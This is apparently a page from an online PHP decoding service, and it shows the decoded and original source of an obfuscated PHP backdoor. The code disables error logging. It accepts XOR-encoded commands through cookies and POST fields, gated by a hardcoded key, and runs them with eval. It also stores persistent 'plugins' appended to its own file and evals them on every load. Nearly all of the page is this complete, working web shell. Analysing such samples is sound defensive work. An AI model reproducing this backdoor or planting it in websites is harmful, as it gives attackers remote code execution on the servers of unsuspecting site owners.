Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if (!defined('stream_context_create ')) { define('stream_context_create ', 1); @ini_set..

Decoded Output download

<?  if (!defined('stream_context_create ')) 
{ 
define('stream_context_create ', 1); 
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "
");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$ttaceyn = '716009bd-b910-40b9-8550-fbf829bd79f6';global $ttaceyn;function rmydnfs($asibiw) {if (strlen($asibiw) < 4){return "";}$gmgeofaqrfnfqz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$ecfrkl = str_split($gmgeofaqrfnfqz);$ecfrkl = array_flip($ecfrkl);$yrbayo = 0;$ZZYltckmdwkzgbh = "";$asibiw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $asibiw);do {$usycsysz = $ecfrkl[$asibiw[$yrbayo++]];$orirxr = $ecfrkl[$asibiw[$yrbayo++]];$lqzlhpaf = $ecfrkl[$asibiw[$yrbayo++]];$stnlyywc = $ecfrkl[$asibiw[$yrbayo++]];$hxslqnl = ($usycsysz << 2) | ($orirxr >> 4);$kqilwifp = (($orirxr & 15) << 4) | ($lqzlhpaf >> 2);$eefibc = (($lqzlhpaf & 3) << 6) | $stnlyywc;$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($hxslqnl);if ($lqzlhpaf != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($kqilwifp);}if ($stnlyywc != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($eefibc);}} while ($yrbayo < strlen($asibiw));return $ZZYltckmdwkzgbh;}if (!function_exists('file_put_contents')){function file_put_contents($gmgeofaq, $ersngfh, $wrzztth = False){$upfqavkt = $wrzztth == 8 ? 'a' : 'w';$ZZYltckm = @fopen($gmgeofaq, $upfqavkt);if ($ZZYltckm === False){return 0;}else{if (is_array($ersngfh)) $ersngfh = implode($ersngfh);$biuwrr = fwrite($ZZYltckm, $ersngfh);fclose($ZZYltckm);return $biuwrr;}}}if (!function_exists('file_get_contents')){function file_get_contents($qxoshvq){$holmwchj = fopen($qxoshvq, "r");$mechcvkx = fread($holmwchj, filesize($qxoshvq));fclose($holmwchj);return $mechcvkx;}}function wnwbnjc(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function wlisrxc($zgbveg, $azbrqhr){$yrbayofsnst = "";for ($yrbayo=0; $yrbayo<strlen($zgbveg);){for ($johwqsip=0; $johwqsip<strlen($azbrqhr) && $yrbayo<strlen($zgbveg); $johwqsip++, $yrbayo++){$yrbayofsnst .= chr(ord($zgbveg[$yrbayo]) ^ ord($azbrqhr[$johwqsip]));}}return $yrbayofsnst;}function xvgpuhz($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $azbrqhr), $ttaceyn);}function pbivjm($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $ttaceyn), $azbrqhr);}function sjyepy(){$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$pkjodxm = substr($rvqaor, $johwqsipsewofi + 32);$zhegcg = @unserialize(xvgpuhz(rawurldecode($pkjodxm), md5(wnwbnjc())));}else{$zhegcg = Array();}return $zhegcg;}function quismijj($zhegcg){$yrbayoduygz = rawurlencode(pbivjm(@serialize($zhegcg), md5(wnwbnjc())));$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$kxezeehr = substr($rvqaor, $johwqsipsewofi + 32);$rvqaor = str_replace($kxezeehr, $yrbayoduygz, $rvqaor);}else{$rvqaor = $rvqaor . "

//" . md5(wnwbnjc()) . $yrbayoduygz;}@file_put_contents(wnwbnjc(), $rvqaor);}function qimdyj($uizpps, $ersngfhhdyvcx){$zhegcg = sjyepy();$zhegcg[$uizpps] = rmydnfs($ersngfhhdyvcx);quismijj($zhegcg);}function odqfan($uizpps){$zhegcg = sjyepy();unset($zhegcg[$uizpps]);quismijj($zhegcg);}function jixhqez($uizpps=NULL){foreach (sjyepy() as $gjlznm=>$vnlqnqqk){if ($uizpps){if (strcmp($uizpps, $gjlznm) == 0){eval($vnlqnqqk);break;}}else{eval($vnlqnqqk);}}}foreach (array_merge($_COOKIE, $_POST) as $parehbc => $zgbveg){$zgbveg = @unserialize(xvgpuhz(rmydnfs($zgbveg), $parehbc));if (isset($zgbveg['ak']) && $ttaceyn==$zgbveg['ak']){if ($zgbveg['a'] == 'i'){$yrbayo = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $zgbveg['ak'],);echo @serialize($yrbayo);exit;}elseif ($zgbveg['a'] == 'e'){eval($zgbveg['d']);}elseif ($zgbveg['a'] == 'plugin'){if($zgbveg['sa'] == 'add'){qimdyj($zgbveg['p'], $zgbveg['d']);}elseif($zgbveg['sa'] == 'rem'){odqfan($zgbveg['p']);}}echo $zgbveg['ak'];exit();}}jixhqez();} 
} ?>

Did this file decode correctly?

Original Code

if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "\n");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$ttaceyn = '716009bd-b910-40b9-8550-fbf829bd79f6';global $ttaceyn;function rmydnfs($asibiw) {if (strlen($asibiw) < 4){return "";}$gmgeofaqrfnfqz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$ecfrkl = str_split($gmgeofaqrfnfqz);$ecfrkl = array_flip($ecfrkl);$yrbayo = 0;$ZZYltckmdwkzgbh = "";$asibiw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $asibiw);do {$usycsysz = $ecfrkl[$asibiw[$yrbayo++]];$orirxr = $ecfrkl[$asibiw[$yrbayo++]];$lqzlhpaf = $ecfrkl[$asibiw[$yrbayo++]];$stnlyywc = $ecfrkl[$asibiw[$yrbayo++]];$hxslqnl = ($usycsysz << 2) | ($orirxr >> 4);$kqilwifp = (($orirxr & 15) << 4) | ($lqzlhpaf >> 2);$eefibc = (($lqzlhpaf & 3) << 6) | $stnlyywc;$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($hxslqnl);if ($lqzlhpaf != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($kqilwifp);}if ($stnlyywc != 64) {$ZZYltckmdwkzgbh = $ZZYltckmdwkzgbh . chr($eefibc);}} while ($yrbayo < strlen($asibiw));return $ZZYltckmdwkzgbh;}if (!function_exists('file_put_contents')){function file_put_contents($gmgeofaq, $ersngfh, $wrzztth = False){$upfqavkt = $wrzztth == 8 ? 'a' : 'w';$ZZYltckm = @fopen($gmgeofaq, $upfqavkt);if ($ZZYltckm === False){return 0;}else{if (is_array($ersngfh)) $ersngfh = implode($ersngfh);$biuwrr = fwrite($ZZYltckm, $ersngfh);fclose($ZZYltckm);return $biuwrr;}}}if (!function_exists('file_get_contents')){function file_get_contents($qxoshvq){$holmwchj = fopen($qxoshvq, "r");$mechcvkx = fread($holmwchj, filesize($qxoshvq));fclose($holmwchj);return $mechcvkx;}}function wnwbnjc(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function wlisrxc($zgbveg, $azbrqhr){$yrbayofsnst = "";for ($yrbayo=0; $yrbayo<strlen($zgbveg);){for ($johwqsip=0; $johwqsip<strlen($azbrqhr) && $yrbayo<strlen($zgbveg); $johwqsip++, $yrbayo++){$yrbayofsnst .= chr(ord($zgbveg[$yrbayo]) ^ ord($azbrqhr[$johwqsip]));}}return $yrbayofsnst;}function xvgpuhz($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $azbrqhr), $ttaceyn);}function pbivjm($zgbveg, $azbrqhr){global $ttaceyn;return wlisrxc(wlisrxc($zgbveg, $ttaceyn), $azbrqhr);}function sjyepy(){$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$pkjodxm = substr($rvqaor, $johwqsipsewofi + 32);$zhegcg = @unserialize(xvgpuhz(rawurldecode($pkjodxm), md5(wnwbnjc())));}else{$zhegcg = Array();}return $zhegcg;}function quismijj($zhegcg){$yrbayoduygz = rawurlencode(pbivjm(@serialize($zhegcg), md5(wnwbnjc())));$rvqaor = @file_get_contents(wnwbnjc());$johwqsipsewofi = strpos($rvqaor, md5(wnwbnjc()));if ($johwqsipsewofi !== FALSE){$kxezeehr = substr($rvqaor, $johwqsipsewofi + 32);$rvqaor = str_replace($kxezeehr, $yrbayoduygz, $rvqaor);}else{$rvqaor = $rvqaor . "\n\n//" . md5(wnwbnjc()) . $yrbayoduygz;}@file_put_contents(wnwbnjc(), $rvqaor);}function qimdyj($uizpps, $ersngfhhdyvcx){$zhegcg = sjyepy();$zhegcg[$uizpps] = rmydnfs($ersngfhhdyvcx);quismijj($zhegcg);}function odqfan($uizpps){$zhegcg = sjyepy();unset($zhegcg[$uizpps]);quismijj($zhegcg);}function jixhqez($uizpps=NULL){foreach (sjyepy() as $gjlznm=>$vnlqnqqk){if ($uizpps){if (strcmp($uizpps, $gjlznm) == 0){eval($vnlqnqqk);break;}}else{eval($vnlqnqqk);}}}foreach (array_merge($_COOKIE, $_POST) as $parehbc => $zgbveg){$zgbveg = @unserialize(xvgpuhz(rmydnfs($zgbveg), $parehbc));if (isset($zgbveg['ak']) && $ttaceyn==$zgbveg['ak']){if ($zgbveg['a'] == 'i'){$yrbayo = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $zgbveg['ak'],);echo @serialize($yrbayo);exit;}elseif ($zgbveg['a'] == 'e'){eval($zgbveg['d']);}elseif ($zgbveg['a'] == 'plugin'){if($zgbveg['sa'] == 'add'){qimdyj($zgbveg['p'], $zgbveg['d']);}elseif($zgbveg['sa'] == 'rem'){odqfan($zgbveg['p']);}}echo $zgbveg['ak'];exit();}}jixhqez();}
}

Function Calls

defined 1

Variables

None

Stats

MD5 7054727cfc80190077dbfcaf1144d4c9
Eval Count 0
Decode Time 82 ms